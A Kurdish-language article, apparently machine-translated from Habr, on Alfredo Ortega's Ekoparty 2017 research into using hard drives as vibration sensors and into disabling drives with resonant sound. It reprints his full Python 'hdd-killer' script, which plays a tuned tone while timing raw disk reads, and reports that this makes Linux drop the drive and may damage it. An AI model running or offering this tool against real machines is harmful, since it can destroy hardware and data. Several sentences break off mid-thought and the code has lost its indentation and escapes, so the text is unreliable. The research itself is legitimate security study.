Di konferansa ewlehiya komputerê ya Ekoparty 2017 de li Buenos Aires, hackerê Arjantînî Alfredo Ortega pêşkeftinek pir balkêş nîşan da - pergalek ji bo guhdarîkirina veşartî ya cîhan bêyî karanîna mîkrofonê. Rengdan
HDD bi giranî dengên frekansa nizm, bi tundî bilind, gav û vibrasyonên din digire. Axaftina mirovan hîn jî nayê naskirin, her çend zanyar
Deng lerizîna hewayê an navgînek din e. Mirov wan bi riya perdeya guhê, ku vibrasyonê diguhezîne guhê hundur, wan dihesibîne. Mîkrofon hema hema mîna guhek hatî sêwirandin - li vir jî, vibrasyon ji hêla membranek zirav ve têne tomar kirin, ku pêlekek elektrîkê heyecan dike. Bê guman, ajokera hişk jî ji ber guheztinên hewaya derdorê berbi vibrasyonên mîkroskopî ve tê. Ev yek ji taybetmendiyên teknîkî yên HDD-ê jî tê zanîn: hilberîner bi gelemperî asta vibrasyonê ya herî zêde destûr destnîşan dikin, û ajokera hişk bi xwe pir caran hewl dide ku wê di konteynirek vibrasyonê ya ku ji gomûk an materyalek din a îzolekirî hatî çêkirin de bi cîh bike. Ji vê yekê hêsan e ku meriv encam bike ku deng dikarin bi karanîna HDD-ê bêne tomar kirin. Tiştê ku dimîne ev e ku meriv çawa bibîne.
Alfredo Ortega guhertoyek bêhempa ya êrîşek kanalek alî, ango êrişek demkî, pêşniyar kir. Ev êrîş li ser bingeha wê yekê ye ku operasyonên cihêreng li ser cîhazê di demên cûda de têne kirin, li gorî daneyên têketinê têne dayîn. Di vê rewşê de, "daneyên têketinê" lerizînên serê xwendinê û plattera HDD-ê ye, ku bi vibrasyonên hawîrdorê, ango bi deng re têkildar e. Bi vî rengî, bi pîvandina dema hesabkirinê û pêkanîna analîzek îstatîstîkî ya daneyan, lerizînên serê/platterê û ji ber vê yekê lerzînên navîn dikarin werin pîvandin. Derengiya xwendina daneyê çiqas dirêjtir be, lerizînên HDD-ê bihêztir dibe û, ji ber vê yekê, deng jî bilindtir dibe.
Meriv çawa vibrasyona dîska hişk bipîve? Pir hêsan: tenê banga pergalê bimeşînin read ()
- û dema ku ew temam dike tomar bikin. Pergalên xebitandinê yên nûjen dihêlin ku hûn dema bangên pergalê bi rastbûna nanosecondê bixwînin.
Leza xwendina agahdariya ji sektorek bi pozîsyona serî û platterê ve girêdayî ye, ku bi vibrasyonên doza HDD-ê re têkildar e. Navê pêger.
Analîza statîstîkî bi karanîna karûbarek Kscope ya hêsan tête kirin. Wekî ku ew dibêjin, her tişt aqilmend hêsan e.
Alîkariya Kscope (stat() syscall)
Kscope ji bo xuyangkirina cûdahiyên piçûk di demên darvekirina banga pergalê de amûrek piçûk e. Kanî
Di depoyek cuda de read ()
.
Xwenîşandana tomarkirina deng bi karanîna HDD-ê, xebitandina kargêriya Kscope
Bê guman, axaftin bi vî rengî nayê fêm kirin, lê HDD wekî senzorek vibrasyonê pir maqûl e. Mînakî, hûn dikarin xwe tomar bikin ger kesek pêlavên hişk an lingên tazî bi komputerek bikeve jûreyek (dibe ku, heke êrîşkar pêlavên nerm li xwe bike an jî xalîçeyek stûr li erdê hebe, HDD dê nikaribe vibrasyonên tomar bike - ev hêjayî kontrolê ye). Komputer dikare camên şikestî an bûyerên din ên bi dengek bihêz tomar bike. Ango, dîska hişk dikare wekî celebek pergala vedîtina destwerdanê ya nedestûrdar bike.
qatil HDD
Bi awayê, teknîkek wusa dikare were bikar anîn da ku dîskên hişk neçalak bike. Tenê li vir em oscilasyonên ji HDD-ê dernaxin, lê berevajî vê, em oscilasyonên ku ji HDD-ê re têne xwarin çêdikin. Ger hûn dengek ji axaftvanek bi frekansa ku bi frekansa HDD-ê re vedibêje dilîzin, pergal di demek kurt de amûrê bi xeletiyek I/O qut dike (kernela Linux piştî 120 saniyeyan HDD-ê bi tevahî qut dike). Dibe ku dîska hişk bixwe zirarek neveger bikişîne.
Kernelê Linux piştî 120 saniyeyan ji gihandina deng bi frekansek resonant bi navgîniya axaftvana Edifier r19u USB, ajokara hişk qut kir. Axaftvan bi qasî çaryeka hêzê (kêmtir ji 100 mW) tê pêvekirin û 20 cm dûrî HDD-ê ye, ku ji bo zêdekirina vibrasyonê ber bi maseyê ve tê armanc kirin. Frame ji
Meraq e ku "êrîş"ên weha li ser HDD-an carinan di jiyana rojane de bi tevahî bi xeletî çêdibin. Mînakî, di îlona 2016-an de, navenda daneyê ya ING Bank neçar ma ku 10 demjimêran xebatan rawestîne piştî ceribandinek agir.
Xwepêşandana qîrîna mirovan li ser dîskên hişk ên li navendek daneyê. Pîvana derengbûnê
Ji bo afirandina dengê resonê, Alfredo Ortega skrîptek Python bi navê nivîsand
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Source: www.habr.com